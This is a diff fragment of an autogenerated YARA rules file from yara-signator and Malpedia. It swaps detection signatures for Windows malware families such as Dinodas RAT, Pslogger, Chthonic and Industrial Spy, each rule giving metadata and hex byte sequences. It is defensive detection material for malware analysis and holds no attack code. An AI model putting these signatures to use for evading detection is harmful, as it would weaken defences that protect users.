 }
-rule MALPEDIA_Win_Oddjob_Auto : FILE
+rule MALPEDIA_Win_Pslogger_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "05ff5b48-0b07-5c37-b3fa-78979fc46d1b"
+		id = "15c6e79e-2171-5604-b7eb-21f0a1c9eae7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oddjob_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pslogger_auto.yar#L1-L171"
 		license_url = "N/A"
-		logic_hash = "cba635f9b22031c02deb6504fbb70476906689529cb50c775ead5481738df2df"
+		logic_hash = "8992cc308f36218b8fec7cd3351151cd41f7bbe9e5dc91614732d13ffd45e45b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142012,32 +148872,38 @@ rule MALPEDIA_Win_Oddjob_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 59 8d9530ffffff 6a01 8bcb 8bc2 }
-		$sequence_1 = { c68552fbffff43 c68553fbffff5e c68554fbffff5b c68555fbffff8b c68556fbffff4b }
-		$sequence_2 = { 663d3600 751f 66837f0234 7518 }
-		$sequence_3 = { 50 bf???????? 57 6a04 53 68???????? ffd6 }
-		$sequence_4 = { 8bc3 4b 85c0 0f8498000000 0fb7c1 83f841 7c05 }
-		$sequence_5 = { c68596faffff24 c68597faffff08 c68598faffff8b c68599faffff43 }
-		$sequence_6 = { c685f8f9ffff40 c685f9f9ffff68 889dfaf9ffff c685fbf9ffff10 889dfcf9ffff 889dfdf9ffff c685fef9ffff51 }
-		$sequence_7 = { 889d12f8ffff 889d13f8ffff 889d14f8ffff 889d15f8ffff 889d16f8ffff 889d17f8ffff 889d18f8ffff }
-		$sequence_8 = { 85c0 7503 897dfc 397de8 7409 ff75e8 ff15???????? }
-		$sequence_9 = { 53 68???????? ffd6 85c0 741c 8d85a094ffff }
+		$sequence_0 = { 7463 488bc8 e8???????? 8bc8 e8???????? 85c0 }
+		$sequence_1 = { 488d8c2480030000 e8???????? 488d542420 488bcd }
+		$sequence_2 = { e8???????? e9???????? 4c8bc5 33d2 488bc8 }
+		$sequence_3 = { b9b80b0000 e8???????? 33d2 41b8b80b0000 488bc8 4c8be0 e8???????? }
+		$sequence_4 = { 57 4883ec20 488b19 488bf9 483b5908 7418 }
+		$sequence_5 = { 483bc8 740e 4885c9 7406 ff15???????? }
+		$sequence_6 = { e9???????? 8d4601 4863e8 488bcd }
+		$sequence_7 = { e8???????? b9b80b0000 e8???????? 33d2 }
+		$sequence_8 = { 85c0 0f844c030000 83f826 7603 6a26 58 0fb60c85d64b4200 }
+		$sequence_9 = { 6a00 53 e8???????? ffb5e0feffff 56 ffb5e4feffff 68???????? }
+		$sequence_10 = { 8b7c2410 2bd6 83c7fe 668b4702 }
+		$sequence_11 = { 7504 8816 eb3e c6060d 8b048d88b14200 8854382a }
+		$sequence_12 = { c1fa06 6bc830 8b049588b14200 8a440828 a848 7404 33c0 }
+		$sequence_13 = { 894606 8d4594 50 8d4676 }
+		$sequence_14 = { 6bf830 894df8 6a0a 8b048d88b14200 5b 8b543818 8955ec }
+		$sequence_15 = { 8b049d88b14200 8945d8 85c0 7553 e8???????? 89049d88b14200 }
 
 	condition:
-		7 of them and filesize <221184
+		7 of them and filesize <475136
 }
-rule MALPEDIA_Win_Kasperagent_Auto : FILE
+rule MALPEDIA_Win_Chthonic_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "31bd379d-36ff-5056-a7b4-5cc60c9344f8"
+		id = "a742c49c-6e3e-5872-bf95-e2e0adb04114"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kasperagent_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chthonic_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "a97fb5a8dde23a8ff235ddb0c06e57b70ba205db49e4efcaa1ba693facbe4b47"
+		logic_hash = "836fdc80a654c12e0017df0790b315dbe177f1e5fd0fa5cd260efc9eb4af2475"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142051,32 +148917,32 @@ rule MALPEDIA_Win_Kasperagent_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 84c0 741e 8bd6 57 52 e8???????? }
-		$sequence_1 = { ffb4b5b4fdffff 8b95ccfdffff 8b8dd8fdffff e8???????? 59 3bc3 }
-		$sequence_2 = { 83c404 8bd8 83caff f00fc117 }
-		$sequence_3 = { 33c9 894c2430 894c2434 894c2438 894c243c 85c0 7463 }
-		$sequence_4 = { 8d742410 8d442408 c7470800000000 894c240c e8???????? 84c0 }
-		$sequence_5 = { 7cb4 8b4c2414 8b01 3b70f8 }
-		$sequence_6 = { 66390c78 7535 84db 7524 }
-		$sequence_7 = { 8b50f4 52 50 e8???????? 5d }
-		$sequence_8 = { 7419 8d642400 3bfa 7311 }
-		$sequence_9 = { 8d3451 33ff 3bce 7419 8d642400 3bfa }
+		$sequence_0 = { 7459 4f 8bf0 8bcf d3ee 83e601 }
+		$sequence_1 = { 0f845d010000 4f 8bf0 8bcf }
+		$sequence_2 = { 81cf00ffffff 47 8a01 8845ff 8d84bdfcfbffff 8b10 }
+		$sequence_3 = { 80e17f 8808 b001 5b c3 55 }
+		$sequence_4 = { 8b75f8 83fe02 0f850d010000 8b4df0 }
+		$sequence_5 = { 016e04 83c703 013e 8b36 83c410 }
+		$sequence_6 = { 5e 0f94c0 5b c9 c3 8b041a }
+		$sequence_7 = { 53 ff7510 ff7508 e8???????? 85c0 }
+		$sequence_8 = { 80e17f 8808 b001 5b c3 55 8bec }
+		$sequence_9 = { ff751c ff7518 ff7514 53 ff7510 ff7508 e8???????? }
 
 	condition:
-		7 of them and filesize <1605632
+		7 of them and filesize <425984
 }
-rule MALPEDIA_Win_Newpass_Auto : FILE
+rule MALPEDIA_Win_Himera_Loader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dfd78470-0c07-5107-9bdf-99560c1551b3"
+		id = "e46aed8f-6384-5100-b12a-1e2dd8afe756"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newpass"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newpass_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himera_loader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.himera_loader_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "18487b3a938727b19644b6d1320bc7ccc85217d142f24fc2488ac5f5fe73de66"
+		logic_hash = "ec88d24287290abbd140c4f0211e2582e892064d8e933b967abedc9a00192e9f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142090,32 +148956,32 @@ rule MALPEDIA_Win_Newpass_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4d8bc4 eb0f 4983c8ff 49ffc0 6642833c4700 75f5 488bd7 }
-		$sequence_1 = { 488d542470 48837d8810 480f43542470 488b5910 4883791810 7203 }
-		$sequence_2 = { 85c0 792e 488b842490000000 4889442428 4c8bce 440fb6c7 488d542470 }
-		$sequence_3 = { eb09 418bc7 493bf6 0f95c0 85c0 7906 488b7f10 }
-		$sequence_4 = { 7503 488b07 483bc8 741b 448bc2 488bd0 e8???????? }
-		$sequence_5 = { c7411006160000 8b4110 0f49c2 488939 894110 b001 }
-		$sequence_6 = { 488bcb e8???????? 84c0 753d 488bcb e8???????? 3a4500 }
-		$sequence_7 = { 4c0f44ca 41397920 7340 498b4110 488bd3 498bca }
-		$sequence_8 = { 7410 4c8bce 488bc8 e8???????? 488bd8 eb03 498bdd }
-		$sequence_9 = { 807a1900 7525 488bc2 488b12 807a1900 7539 6666660f1f840000000000 }
+		$sequence_0 = { e8???????? 83c408 8b4dfc 6689411e 6a10 }
+		$sequence_1 = { 64a300000000 894de0 c745dc0c000000 c645e45e c645e55d }
+		$sequence_2 = { 8b4d08 0fb71401 52 e8???????? 83c408 8b4dfc 66894130 }
+		$sequence_3 = { 8d85dcfdffff 50 8d8df8feffff 51 8d95f8feffff 52 8d8deffdffff }
+		$sequence_4 = { c20400 e8???????? 85c0 0f84c1510000 }
+		$sequence_5 = { c645eb1c c645ec2e 64a12c000000 8b08 8b15???????? 3b9104000000 7e4c }
+		$sequence_6 = { 50 8d45f4 64a300000000 894de0 c745dc0a000000 c645e440 c645e55a }
+		$sequence_7 = { c7459c49000000 c645a463 c645a541 c645a654 c645a747 c645a842 c645a942 }
+		$sequence_8 = { c645e801 c645e90e c645ea18 c645eb1a c645ec00 c645ed1e c645ee2e }
+		$sequence_9 = { c745fc00000000 eb09 8b45fc 83c001 8945fc 837dfc25 7321 }
 
 	condition:
-		7 of them and filesize <2654208
+		7 of them and filesize <385024
 }
-rule MALPEDIA_Win_Atharvan_Auto : FILE
+rule MALPEDIA_Win_Scarecrow_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "90143155-ec04-5a1a-8f1d-cad8e690d20c"
+		id = "906ba1cc-dc26-55b9-8f54-7f06e242df8d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atharvan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atharvan_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scarecrow_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "4ab12aee6394d0021e81333c85382f01af297ccebc032a8d7f39b0ec61d7b92e"
+		logic_hash = "b5b9eded36bc33c6ab271290937feb85fda4ad16d7bb5dd0760ea465825b259d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142129,32 +148995,32 @@ rule MALPEDIA_Win_Atharvan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c8d05ee7a0000 488b9540070000 488bce e8???????? 85c0 750b eb9e }
-		$sequence_1 = { 423a9401d4ab0100 7566 488b03 48ffc1 8a10 48ffc0 488903 }
-		$sequence_2 = { 498784f6105c0200 4885c0 7409 488bcb ff15???????? 4885db }
-		$sequence_3 = { 8d0480 03c0 442be8 0f84cffbffff 418d45ff 8b848228aa0100 }
-		$sequence_4 = { 750d 4c8bc6 e8???????? e9???????? 4c8bce 4c8d05e1dd0100 }
-		$sequence_5 = { 498bcf ff15???????? 498bcf ff15???????? 488b4c2440 4833cc e8???????? }
-		$sequence_6 = { b903000000 4c8d0564a10000 488d1565a10000 e8???????? }
-		$sequence_7 = { 498bcf ff15???????? 488bd8 eb02 33db 4c8d3d028cffff 4885db }
-		$sequence_8 = { 7528 48833d????????00 741e 488d0d943e0100 e8???????? 85c0 }
-		$sequence_9 = { 83f801 751f 488b0d???????? 488d1d356c0100 483bcb 740c }
+		$sequence_0 = { f7f9 85d2 743b 8b45f4 8d4f17 83c00b 99 }
+		$sequence_1 = { 74d9 eb57 99 f7ff 85d2 7450 8b4c2410 }
+		$sequence_2 = { c68574faffff00 c68575faffff4b c68576faffff40 c68577faffff0a c68578faffff40 c68579faffff6e c6857afaffff40 }
+		$sequence_3 = { c6855bfcffff05 c6855cfcffff20 c6855dfcffff08 c6855efcffff20 c6855ffcffff27 c68560fcffff20 }
+		$sequence_4 = { 7905 48 83c8fc 40 744a 8b4df4 8d4303 }
+		$sequence_5 = { 99 f7ff 85d2 752c 0f1f4000 8b859cf7ffff 99 }
+		$sequence_6 = { 0f84f7040000 8d4f03 c745f005000000 660f1f840000000000 c745f405f26700 8b45f4 99 }
+		$sequence_7 = { c645aa00 c645ab6b c645ac00 c645ad48 c645ae00 c645af00 c645b000 }
+		$sequence_8 = { c644246205 c644246347 c644246405 c64424655a c644246605 c644246727 c644246805 }
+		$sequence_9 = { 660f28b870024300 660f54f0 660f5cc6 660f59f4 660f5cf2 f20f58fe 660f59c4 }
 
 	condition:
-		7 of them and filesize <348160
+		7 of them and filesize <501760
 }
-rule MALPEDIA_Win_Dinodas_Rat_Auto : FILE
+rule MALPEDIA_Win_Opachki_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0c2a0c7f-3a72-55a1-acff-1cca63da0ecc"
+		id = "19945598-3be8-57e4-97f5-8518d611bbed"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dinodas_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dinodas_rat_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.opachki_auto.yar#L1-L168"
 		license_url = "N/A"
-		logic_hash = "146f67c88b1bd9a83aac7a1be7e8f308bd7d506106d4fba538a0dc2d1ddf0d08"
+		logic_hash = "5313082ce77d197fd4bac8aec4c18a74cf4695d26acd8d2a84b13e24f5666e1a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142168,32 +149034,38 @@ rule MALPEDIA_Win_Dinodas_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c9 743b 8b10 8b04b2 8b400c 85c0 7409 }
-		$sequence_1 = { 6a18 c705????????acff4300 c705????????00000000 e8???????? 83c404 85c0 }
-		$sequence_2 = { 50 51 ffd3 83bdb85fffff00 75af 837e2c00 }
-		$sequence_3 = { 833c0e00 755b 8b5dd4 8b4304 80781500 8bd3 7522 }
-		$sequence_4 = { df6df8 df6de0 def9 dc0d???????? dd45d8 d8d9 dfe0 }
-		$sequence_5 = { 83bdd4c3ffff10 7306 8d85c0c3ffff 56 50 57 e8???????? }
-		$sequence_6 = { 8344241408 894c2420 83e908 89542434 8b542430 33db 8bf7 }
-		$sequence_7 = { 8b55d0 8b45cc 8b4dec 2bd0 41 c1fa02 894dec }
-		$sequence_8 = { e8???????? 8b8d6cffffff 8bb568ffffff 2bce b893244992 f7e9 03d1 }
-		$sequence_9 = { 7546 8b15???????? 6aff 52 ffd7 8d5d08 8d45f8 }
+		$sequence_0 = { c3 55 8bec 81ec00010000 ff7508 }
+		$sequence_1 = { 83c40c 8b4f04 8d0433 894708 c6040800 }
+		$sequence_2 = { 83c8ff 5f 5b 5e c9 c20800 8bc3 }
+		$sequence_3 = { 741c 8d4dd4 51 8d4df4 51 8d4dec }
+		$sequence_4 = { 885dfc e8???????? ff75e8 8d45f4 }
+		$sequence_5 = { ff7510 ff75fc ff15???????? 85c0 75e2 }
+		$sequence_6 = { 8b4608 8b4e04 c6040800 5f 8bc6 5e }
+		$sequence_7 = { 8bd8 7413 8b4704 03c8 53 }
+		$sequence_8 = { 8a0f 894508 84c9 744d 8a10 53 56 }
+		$sequence_9 = { c0e805 88470a 3c01 ac 7710 80fff6 7503 }
+		$sequence_10 = { aa 8944241c 61 c3 898389838983 898389838983 }
+		$sequence_11 = { f6c140 7412 08d2 7408 }
+		$sequence_12 = { 884707 83c140 eb0a 3ca0 7206 3ca3 }
+		$sequence_13 = { 7404 3c65 7505 884703 ebcc }
+		$sequence_14 = { f3aa 83ef25 8b742424 ac }
+		$sequence_15 = { 898389838983 898389838585 858585858585 878593859a9a }
 
 	condition:
-		7 of them and filesize <638976
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_Chewbacca_Auto : FILE
+rule MALPEDIA_Win_Zenar_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "222f6780-8c77-5a93-9b3a-f1a76242c8a5"
+		id = "4a5b8e75-0846-5f97-8625-2c49ccc878e4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chewbacca_auto.yar#L1-L95"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zenar"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zenar_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "026e724d28dad06de27f1ece049f17b6c66ca8975467e2769de70691ea3bc834"
+		logic_hash = "aaf8e2aaae847a92d9529fc5af1d76e9bd4aae4fdb4d807ed83b4a0145bc159f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142207,30 +149079,32 @@ rule MALPEDIA_Win_Chewbacca_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? c645f401 8a45f4 5b c9 }
-		$sequence_1 = { e8???????? c645c800 8b45cc 8b10 }
-		$sequence_2 = { e8???????? c645f000 8b45f4 8b80b4010000 }
-		$sequence_3 = { e8???????? c645a400 c645f400 806df401 }
-		$sequence_4 = { e8???????? c645d001 8a45d0 5f }
-		$sequence_5 = { e8???????? c645ec01 e9???????? 8b55dc }
-		$sequence_6 = { e8???????? c645f401 e8???????? 8d4590 e8???????? 58 }
-		$sequence_7 = { e8???????? c645a400 6a00 8b45f8 8b00 898554ffffff }
+		$sequence_0 = { 85c0 7409 83c024 50 8b08 ff5108 8b4df4 }
+		$sequence_1 = { 8bf1 8d8e80020000 e8???????? 8d8e68020000 e8???????? 8bce 5e }
+		$sequence_2 = { 8bc7 8bcf 83e03f c1f906 6bf038 03348d98ae4300 }
+		$sequence_3 = { 8d8d70ffffff c645fc03 e8???????? 84c0 7406 8ac3 }
+		$sequence_4 = { 8bfe 83e03f c1ff06 6bd838 8b04bd98ae4300 f644032801 7444 }
+		$sequence_5 = { 55 8bec 0fb701 83ec10 83e811 741a 83e801 }
+		$sequence_6 = { 8d4d0c ff7514 8b7d08 8945f8 897314 }
+		$sequence_7 = { 8b4dfc 0f95c0 890a c9 c20c00 55 8bec }
+		$sequence_8 = { 837d0c04 0f85e3000000 8d4634 50 8d4dc8 e8???????? }
+		$sequence_9 = { eb07 8b4584 8930 33db 8d4dd4 e8???????? }
 
 	condition:
-		7 of them and filesize <9764864
+		7 of them and filesize <519168
 }
-rule MALPEDIA_Win_Thanatos_Auto : FILE
+rule MALPEDIA_Win_Shadowhammer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3d56c6ff-7a5f-5548-8f3b-06d8d6158f7b"
+		id = "194406b6-a98b-5404-b2f3-d5df631c65c0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thanatos_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shadowhammer_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "2cc3d4fef37b3d57358c4e21f8e34a4b374cac5e972e715588051a429530df72"
+		logic_hash = "34aeb940c0c6ad0698f1f0e3ab023525d38575b33eb7ba408d437819a37427e5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142244,32 +149118,32 @@ rule MALPEDIA_Win_Thanatos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85f6 0f849b010000 ff742428 6a00 68ffff1f00 ff15???????? 8bf8 }
-		$sequence_1 = { 50 8bda 8bf1 c78560ffffff94000000 e8???????? 83c40c 8d8560ffffff }
-		$sequence_2 = { c64435bc46 8d45bc 50 46 ffd7 3bf0 7ce9 }
-		$sequence_3 = { 6a00 6a00 68000000c0 68???????? 46 ffd3 8bf8 }
-		$sequence_4 = { 83c40c 807d0800 7459 8b4c240c 897c2422 8d4306 8944241e }
-		$sequence_5 = { 807d0800 89442414 b80a000000 7524 3bdf }
-		$sequence_6 = { 84c0 75f9 2bd7 5f 7409 51 ff15???????? }
-		$sequence_7 = { 57 8bf9 8b4e28 8955fc 83f803 0f85e5020000 8b5d08 }
-		$sequence_8 = { 893d???????? c705????????ecb40110 f30f7e05???????? 660fd64008 }
-		$sequence_9 = { 50 6a02 ff15???????? 8b7514 c705????????c0b30110 85f6 0f8486010000 }
+		$sequence_0 = { 03d3 03f3 03fb 894dfc 8945f4 }
+		$sequence_1 = { c3 e8???????? c21000 8bff 55 8bec 833d????????01 }
+		$sequence_2 = { 8dbd7dfdffff ab ab ab ab }
+		$sequence_3 = { 58 6a2d 66894584 58 }
+		$sequence_4 = { 685ac1cbc2 56 e8???????? 59 59 85c0 }
+		$sequence_5 = { c78564ffffff103ee0fc c78568ffffffb0cf4161 c7856cffffffb0fafb19 8dbd70ffffff }
+		$sequence_6 = { 8d45e8 50 ff75fc 895de8 8b07 }
+		$sequence_7 = { c78544fdffff6a0ad740 c78548fdffff667aadbd 33c0 8dbd4cfdffff ab 889d50fdffff 8dbd51fdffff }
+		$sequence_8 = { 8dbdfcfdffff ab 889d00feffff 8dbd01feffff ab ab }
+		$sequence_9 = { 8945a8 8d8574ffffff 33ff 8945ac 8d45b8 }
 
 	condition:
-		7 of them and filesize <1810432
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Stabuniq_Auto : FILE
+rule MALPEDIA_Win_Industrial_Spy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fc58cf81-e26c-5be2-91a6-3fbb3fc72d52"
+		id = "ce5f3e00-b3d5-5d7c-9715-f009f6dd4df1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stabuniq_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.industrial_spy_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "97aa7344abd98ffc46d944f3c78f102b277bbba8d700aca31756ce2df1f26cfc"
+		logic_hash = "0d309a929b9f93d00c001ba14e0da1de3852467890493f029087eefa2710c99c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142283,34 +149157,34 @@ rule MALPEDIA_Win_Stabuniq_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 8b4d08 ff91a8000000 6a00 6a00 }
-		$sequence_1 = { 8b8df4feffff 51 6aff 8b5508 81c2a2050000 }
-		$sequence_2 = { 52 8b4510 ff503c 8b4d10 33d2 668b9106020000 }
-		$sequence_3 = { 6a00 8b4d08 8b91f8010000 52 8b4508 ff9018010000 837de4ff }
-		$sequence_4 = { 8985c8fbffff 8b4d14 51 6a08 8b550c }
-		$sequence_5 = { 8b4df8 8b11 035508 8955f4 eb0c 8b45f8 8b4810 }
-		$sequence_6 = { 51 e8???????? 8b5508 83c220 895508 c785bcfcffff00000000 8b4510 }
-		$sequence_7 = { 51 8b550c ff524c 8945fc 8b45fc 50 }
-		$sequence_8 = { 8d85c0fcffff 50 8b4d0c 51 e8???????? eb16 8b5510 }
-		$sequence_9 = { 81c155030000 51 e8???????? 6a00 8b5514 52 8b85e8feffff }
+		$sequence_0 = { f7d1 8d9778a46ad7 23cb 448d8356b7c7e8 418bc3 4123c2 0bc8 }
+		$sequence_1 = { 8bc3 448bcf 410f104f10 4c8d442430 }
+		$sequence_2 = { 48895c2450 48895c2448 4883e804 4889442440 4533c9 4c8d442444 8b542440 }
+		$sequence_3 = { 8b5540 448b4544 4585ed 740f 899380000000 44898384000000 }
+		$sequence_4 = { 4c89742420 498bd4 498bcd c644043000 8d4301 0f11440430 410f104720 }
+		$sequence_5 = { 4881ec100e0000 4533e4 803d????????1f 7472 448925???????? }
+		$sequence_6 = { 837c8dc000 7508 ffca 4883e901 }
+		$sequence_7 = { 0f118424e8010000 f20f108424e0010000 f20f118424f8010000 0f108c24b8010000 0f118c2400020000 f20f108424c8010000 f20f11842410020000 }
+		$sequence_8 = { 4c8d4d50 895c2420 4c8d85a0030000 488d542430 488d4c2430 e8???????? }
+		$sequence_9 = { 0f8df5000000 e8???????? 488b8890000000 48399938010000 7516 488d05cb030100 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <339968
 }
-rule MALPEDIA_Win_Suppobox_Auto : FILE
+rule MALPEDIA_Win_Wmighost_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4c561dbc-9b95-52c8-b1b6-738a8e400b62"
+		id = "0b0db58b-a86c-5fcd-a072-2eb1cc17420a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.suppobox_auto.yar#L1-L194"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wmighost_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "33ed4ed4c3c8a05bca33fadb06a60aef627f5ee4031100bb5102db6965fc9d6b"
+		logic_hash = "ca34789fba1f2bd4e0c465ce04013e3b6750b48b70cd8c7936238cd0c587d01a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -142322,44 +149196,32 @@ rule MALPEDIA_Win_Suppobox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7d10 a1???????? 0b05???????? a3???????? }
-		$sequence_1 = { 7f10 a1???????? 2305???????? a3???????? }
-		$sequence_2 = { 8945f0 a1???????? 83e801 a3???????? }
-		$sequence_3 = { 7e10 a1???????? 0305???????? a3???????? }
-		$sequence_4 = { 890d???????? e8???????? 8bf0 e8???????? 03f0 }
-		$sequence_5 = { 7d10 a1???????? 3305???????? a3???????? }
-		$sequence_6 = { 3bc8 7d10 a1???????? 2b05???????? a3???????? }
-		$sequence_7 = { 01bdacf7ffff 83c40c 83bdc8f7ffff00 8b95c8f7ffff }
-		$sequence_8 = { 8d45f3 83ec04 890424 e8???????? }
-		$sequence_9 = { 8d45f3 890424 e8???????? 52 ebc5 }
-		$sequence_10 = { 8d45f4 89442408 e9???????? 8b4508 }
-		$sequence_11 = { 01c6 39fe 0f8d7e010000 80bc2ef4f7ffff0a }
-		$sequence_12 = { 8d45f2 89f1 89442404 c70424???????? }
-		$sequence_13 = { 01d8 3b85b0f7ffff 7e2f 8b95c8f7ffff }
-		$sequence_14 = { 8d45f2 89442404 8b4508 890424 e8???????? 83ec08 }
-		$sequence_15 = { 8d45ef 89d9 890424 e8???????? 51 }
-		$sequence_16 = { 01d7 68???????? 57 e8???????? }
-		$sequence_17 = { 01c6 ebdb ff7510 57 }
-		$sequence_18 = { 01c9 4a 79f2 833b54 }
-		$sequence_19 = { 8d45f4 89442408 c744240401000000 893424 }
-		$sequence_20 = { 01c6 39fe 0f8d2f020000 80bc2ef4f7ffff0a }
-		$sequence_21 = { 019dacf7ffff 83c40c 299dc4f7ffff e9???????? }
+		$sequence_0 = { 52 e8???????? 83c40c 68e8030000 ff15???????? e9???????? }
+		$sequence_1 = { 83c408 68???????? 8d8df0fcffff 51 }
+		$sequence_2 = { c745fc00000000 8d4d08 e8???????? 50 8b45e8 8b08 }
+		$sequence_3 = { 8945fc 837dfcff 7505 e9???????? 6a02 }
+		$sequence_4 = { 8b550c 52 8d85f0fcffff 50 e8???????? 83c408 }
+		$sequence_5 = { 33c1 8b55f8 8882c8304000 8b45f8 0fbe88c8304000 33d2 8a15???????? }
